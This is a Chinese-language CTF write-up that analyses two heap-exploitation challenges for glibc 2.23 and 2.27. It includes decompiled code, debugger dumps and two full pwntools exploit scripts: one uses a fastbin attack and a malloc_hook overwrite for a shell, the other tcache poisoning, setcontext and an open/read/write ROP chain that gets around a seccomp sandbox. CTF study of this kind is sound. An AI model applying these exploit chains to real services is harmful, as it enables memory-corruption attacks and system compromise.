从长城杯两道题目看新老libc的利用

阅读量    484190 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

长城杯出了三道题目,除了easy_vm之外剩下的两道都是libc题,一个是libc2.23,一个是libc2.27-1.4。正好可以从这两道题目中看一下新老版本的libc的利用方式。

K1ng_in_h3Ap_I

这道题目是一个入门级的题目,libc的版本是2.23

GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
        crypt add-on version 2.1 by Michael Glad and others
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

我们逆向分析一下这个程序,题目的逻辑很简单,是一个基础的菜单题目,一共有add,delete,edit三种,并且存在一个后门函数也就是输入666的时候触发调用,先来看一下后门函数

return printf("%p\n", (const void *)((unsigned __int64)&printf & 0xFFFFFF));

也就是我们可以直接通过后门函数获取得到libc基地址的低3字节,那么这个有什么用呢,我们接下来在看,继续分析其他的函数

add函数,申请我们输入指定size大小的内存堆块

_DWORD *add()
{
  _DWORD *result; // rax
  int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  index = readint();
  if ( index < 0 || index > 10 )
    exit(0);
  puts("input size:");
  size = readint();
  if ( size < 0 || size > 0xF0 )
    exit(0);
  buf_list[index] = malloc(size);
  result = size_list;
  size_list[index] = size;
  return result;
}

但是这里size的大小不能超过0xf0。再来看一下delete函数

void sub_C41()
{
  int index; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  index = readint();
  if ( index < 0 || index > 10 || !*((_QWORD *)&buf_list + index) || !size_list[index] )
    exit(0);
  free(*((void **)&buf_list + index));
}

这里delete函数直接释放了我们在add函数中申请的内存空间,但是这里没有将buf_list和size_list中的相应位置清空,导致存在一个UAF的漏洞,再看一下edit函数

__int64 edit()
{
  int index; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  index = readint();
  if ( index < 0 || index > 15 || !buf_list[index] )
    exit(0);
  puts("input context:");
  return do_edit(buf_list[index], (unsigned int)size_list[index]);
}

edit函数这里调用了一个do_edit函数来进行内容的更改,函数如下

unsigned __int64 __fastcall do_edit(__int64 address, int size)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  int index; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  index = 0;
  do
  {
    if ( !(unsigned int)read(0, &buf, 1uLL) )
      exit(0);
    if ( buf == 10 )
      break;
    *(_BYTE *)(address + index++) = buf;
  }
  while ( index <= size );
  return __readfsqword(0x28u) ^ v5;
}

这里可以看到存在一个off-by-one漏洞,当index=size的时候还是可以输入一个字节。

那么逆向分析结束之后发现了两个漏洞,一个是UAF漏洞,另一个是off-by-one漏洞,并且这里我们可以获取得到libc基地址的低3字节的内容。由于这里是libc2.23,我们直接考虑fastbin attack,覆写malloc_hook为one_gadget之后直接getshell。但是这里还是存在一个问题就是我们需要泄漏出libc全部的地址。

那么这里就攻击stdoout的结构体来泄漏地址了。我们看一下这个结构体。

type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
}

如果我们可以申请堆块到stdout所在的内存空间,然后发泄write_base的低1字节为0,那么就会有很大的数据输出。问题是怎么申请内存空间到这里呢,别忘了前面有我们的UAF,我们可以通过UAF和fastbin做到一个任意地址分配,当然这个地址需要满足size的检查,这里我们恰好在stdout结构体的上方发现了一个位置

pwndbg> x/20gx 0x7ffff7dd2620-0x40
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>:   0x00007ffff7dd1660      0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd2620 <_IO_2_1_stdout_>:       0x00000000fbad3887      0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>:    0x00007ffff7dd26a4      0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000
pwndbg> x/20gx 0x7ffff7dd2620-0x43
0x7ffff7dd25dd <_IO_2_1_stderr_+157>:   0xfff7dd1660000000      0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>:   0x00fbad3887000000      0xfff7dd26a3000000
0x7ffff7dd262d <_IO_2_1_stdout_+13>:    0xfff7dd26a300007f      0xfff7dd26a300007f
0x7ffff7dd263d <_IO_2_1_stdout_+29>:    0xfff7dd26a300007f      0xfff7dd26a300007f
0x7ffff7dd264d <_IO_2_1_stdout_+45>:    0xfff7dd26a300007f      0xfff7dd26a300007f
0x7ffff7dd265d <_IO_2_1_stdout_+61>:    0xfff7dd26a400007f      0x000000000000007f
0x7ffff7dd266d <_IO_2_1_stdout_+77>:    0x0000000000000000      0x0000000000000000

也就是-0x43的位置中的0x7f恰好可以作为0x70的fastbin堆块。但是我们现在只有低3字节,还需要在堆中提前布局一个libc附近的地址。这里可以直接利用main_arena的地址,利用off-by-one很容易做到堆块合并,进而释放到unsorted bin中,再次申请就能拿到一个libc附近的地址了,覆写该地址的低3字节即可申请到stdout结构体中泄漏出libc的地址

[DEBUG] Received 0xc0 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000020  87 38 ad fb  00 00 00 00  00 00 00 00  00 00 00 00  │·8··│····│····│····│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000040  00 26 dd f7  ff 7f 00 00  a3 26 dd f7  ff 7f 00 00  │·&··│····│·&··│····│
    00000050  a3 26 dd f7  ff 7f 00 00  a3 26 dd f7  ff 7f 00 00  │·&··│····│·&··│····│
    00000060  a4 26 dd f7  ff 7f 00 00  00 00 00 00  00 00 00 00  │·&··│····│····│····│
    00000070  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000080  00 00 00 00  00 00 00 00  e0 18 dd f7  ff 7f 00 00  │····│····│····│····│
    00000090  01 00 00 00  00 00 00 00  ff ff ff ff  ff ff ff ff  │····│····│····│····│
    000000a0  00 00 00 31  2e 20 61 64  64 0a 32 2e  20 64 65 6c  │···1│. ad│d·2.│ del│
    000000b0  65 74 65 0a  33 2e 20 65  64 69 74 0a  3e 3e 20 0a  │ete·│3. e│dit·│>> ·│
    000000c0

拿到libc的地址之后就很好说了,利用相同的思路分配堆块到malloc_hook的位置,覆写其为one_gadget。但是这里存在一个问题就是one_gadget都不能使用,需要使用realloc进行栈帧的调整,小问题。

# -*- coding: utf-8 -*-
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0xE52)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

else:
    p = remote('47.104.175.110', 20066)
    libc = ELF('./libc.so.6')
    one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

def add(index, size):
    p.sendlineafter(">> \n", "1")
    p.sendlineafter("input index:\n", str(index))
    p.sendlineafter("input size:\n", str(size))

def delete(index):
    p.sendlineafter(">> \n", "2")
    p.sendlineafter("input index:\n", str(index))

def edit(index, content):
    p.sendlineafter(">> \n", "3")
    p.sendlineafter("input index:\n", str(index))
    p.sendafter("input context:\n", content)

def show():
    p.sendlineafter(">> \n", "666")

ori_io = libc.sym['_IO_2_1_stdout_']
show()
libc.address = int(p.recvline().strip(), 16) - libc.sym['printf']

add(0, 0x68)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
payload = b"a"*0x68 + b"\xe1"
delete(1)
edit(0, payload)
delete(1)

add(6, 0x3)
payload = b"a"*0x68 + b"\x71"
edit(0, payload)
payload = p32(libc.sym['_IO_2_1_stdout_'] - 0x43)[:3] + b"\n"
edit(6, payload)
add(4, 0x68)
add(5, 0x68)
payload = b"\x00"*3 + p64(0)*6 + p64(0x00000000fbad2887 | 0x1000) + p64(0)*3 + b"\x00" + b"\n"
edit(5, payload)
p.recvuntil(p64(0x00000000fbad2887 | 0x1000))
p.recv(0x18)
libc.address = u64(p.recv(8)) + 0x20 - ori_io

delete(4)
payload = p64(libc.sym['__malloc_hook'] - 0x23) + b"\n"
edit(1, payload)
add(7, 0x68)
add(8, 0x68)
payload = b"\x00"*3 + p64(0)*1 + p64(one_gadget[1] + libc.address) + p64(libc.sym['realloc'] + 8) + b"\n"
edit(8, payload)
add(9, 0x68)

p.interactive()

 

K1ng_in_h3Ap_II

这个题目就是在I的基础上进行修改的,这里我们发现libc变成了2.27

GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

在1.4中加入了对tcache的double free检查,我们先分析一下程序,这里在一开始加入了沙箱,我们不能直接getshell了

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

同样逻辑很简单,是一个菜单题目,共有add,delete,edit,show四个选项,首先看一下add函数

_DWORD *add()
{
  _DWORD *result; // rax
  int index; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  index = readint();
  if ( index < 0 || index > 15 )
    exit(0);
  puts("input size:");
  v2 = readint();
  if ( v2 <= 15 || v2 > 0x60 )
    exit(0);
  buf_list[index] = malloc(v2);
  result = size_list;
  size_list[index] = v2;
  return result;
}

这里对堆块的大小进行了限制,堆块的大小不能超过0x60个字节。但是其实这里没啥影响,因为这里是用的tcache,tcache从来不检查size。接着看一下delete函数

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  v0 = readint();
  if ( v0 < 0 || v0 > 15 || !buf_list[v0] )
    exit(0);
  free((void *)buf_list[v0]);
}

这里还是老问题,在释放的时候没有对buf_list进行清空,因此这里存在UAF的漏洞。然后看一下edit函数

ssize_t edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  v1 = readint();
  if ( v1 < 0 || v1 > 15 || !buf_list[v1] )
    exit(0);
  puts("input context:");
  return read(0, (void *)buf_list[v1], (int)size_list[v1]);
}

edit函数,这里直接用了read进行内容的修改,没有了之前的off-by-one漏洞。然后是show函数直接puts输出了堆块中的内容。

那么现在是tcache 1.4中存在一个UAF的漏洞,那么这里我们首先泄漏一下地址,首先堆地址很好泄漏,释放两个堆块,然后show一个堆块就能泄漏出堆地址来了,但是libc的地址怎么泄漏,我们无法申请0x90大小以上的堆块,因此不能直接将堆块释放到unsroted bin链表中。这里用到的一个思路就是sscanf函数在接收大量数据的时候会申请超大的内存堆块,而超大的内存堆块会触发堆空间合并的机制,即将fastbin中的堆块全部弄到bins链表中。

那么这里我们首先在fastbin中留一个堆块,然后触发堆合并,再show这个堆块,那么就能泄漏出libc的地址。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x555555603790 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x555555604200 --> 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555556042c0 (size : 0x1fd40)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0
(0x50)   tcache_entry[3](1): 0x555555603f20
(0x60)   tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70
(0x70)   tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0
(0x80)   tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50
(0xd0)   tcache_entry[11](1): 0x555555603310
(0xf0)   tcache_entry[13](2): 0x555555603d00 --> 0x555555603670s

执行p.sendlineafter(">> \n", "1"*0x1100) 堆空间如下

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555556042c0 (size : 0x1fd40)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x020)  smallbin[ 0]: 0x555555603790
(0x060)  smallbin[ 4]: 0x555555604200 // 合并的堆块
(0x20)   tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0
(0x50)   tcache_entry[3](1): 0x555555603f20
(0x60)   tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70
(0x70)   tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0
(0x80)   tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50
(0xd0)   tcache_entry[11](1): 0x555555603310
(0xf0)   tcache_entry[13](2): 0x555555603d00 --> 0x555555603670

触发堆合并之后就能泄漏出地址。泄漏出libc的地址接下来就好说了,我们直接利用UAF申请堆块到free_hook的位置,将其覆写为setcontext+53,进行栈迁移,执行ORW。但是这里存在一个问题就是我们最大能控制的大小为0x60,而ORW的链肯定大于0x60的,因此这里我们需要先执行一个read的rop,从而读取orw继续执行。

# -*- coding: utf-8 -*-
import syslog

from pwn import *

file_path = "./pwn"
context.arch = "amd64"
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0xE52)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

else:
    p = remote('47.104.175.110', 20066)
    libc = ELF('./libc.so.6')
    one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

def add(index, size):
    p.sendlineafter(">> \n", "1")
    p.sendlineafter("input index:\n", str(index))
    p.sendlineafter("input size:\n", str(size))

def delete(index):
    p.sendlineafter(">> \n", "2")
    p.sendlineafter("input index:\n", str(index))

def edit(index, content):
    p.sendlineafter(">> \n", "3")
    p.sendlineafter("input index:\n", str(index))
    p.sendafter("input context:\n", content)

def show(index):
    p.sendlineafter(">> \n", "4")
    p.sendlineafter("input index:\n", str(index))

for i in range(9):
    add(i, 0x58)

for i in range(8):
    delete(i)
show(1)
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
p.sendlineafter(">> \n", "1"*0x1100)
show(7)
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x10 - libc.sym['__malloc_hook'] - 0xb0
for i in range(7, -1, -1):
    add(i, 0x58)
delete(0)
delete(1)
edit(1, p64(libc.sym['__free_hook']))
add(1, 0x58)
add(9, 0x58)
# # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
# magic = 0x0000000000154930 + libc.address
p_rdi_r = 0x00000000000215bf + libc.address
p_rsi_r = 0x0000000000023eea + libc.address
p_rax_r = 0x0000000000043ae8 + libc.address
p_rdx_r = 0x0000000000001b96 + libc.address
syscall = 0x00000000000d2745 + libc.address
ret = 0x00000000000c0c9d + libc.address

setcontext = libc.sym['setcontext'] + 53
orw_address = heap_address + 0xc0
orw_read_address = orw_address + 0x48
flag_str_address = libc.sym['__free_hook'] + 0x10
flag_address = flag_str_address + 0x10
orw = flat([
    p_rdi_r, flag_str_address,
    p_rsi_r, 0,
    p_rax_r, 2,
    syscall,
    p_rdi_r, 3,
    p_rsi_r, flag_address,
    p_rdx_r, 0x30,
    p_rax_r, 0,
    syscall,
    p_rdi_r, 1,
    p_rsi_r, flag_address,
    p_rdx_r, 0x30,
    p_rax_r, 1,
    syscall
])

orw_read = flat([
    p_rdi_r, 0,
    p_rsi_r, orw_read_address,
    p_rdx_r, 0x200,
    p_rax_r, 0,
    syscall,
])
edit(9, p64(setcontext) + p64(0) + b"./flag")
payload = b"\x00"*0x40 + p64(orw_address) + p64(ret)
edit(2, payload)
edit(3, orw_read)

delete(1)

p.sendline(orw)

p.interactive()
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多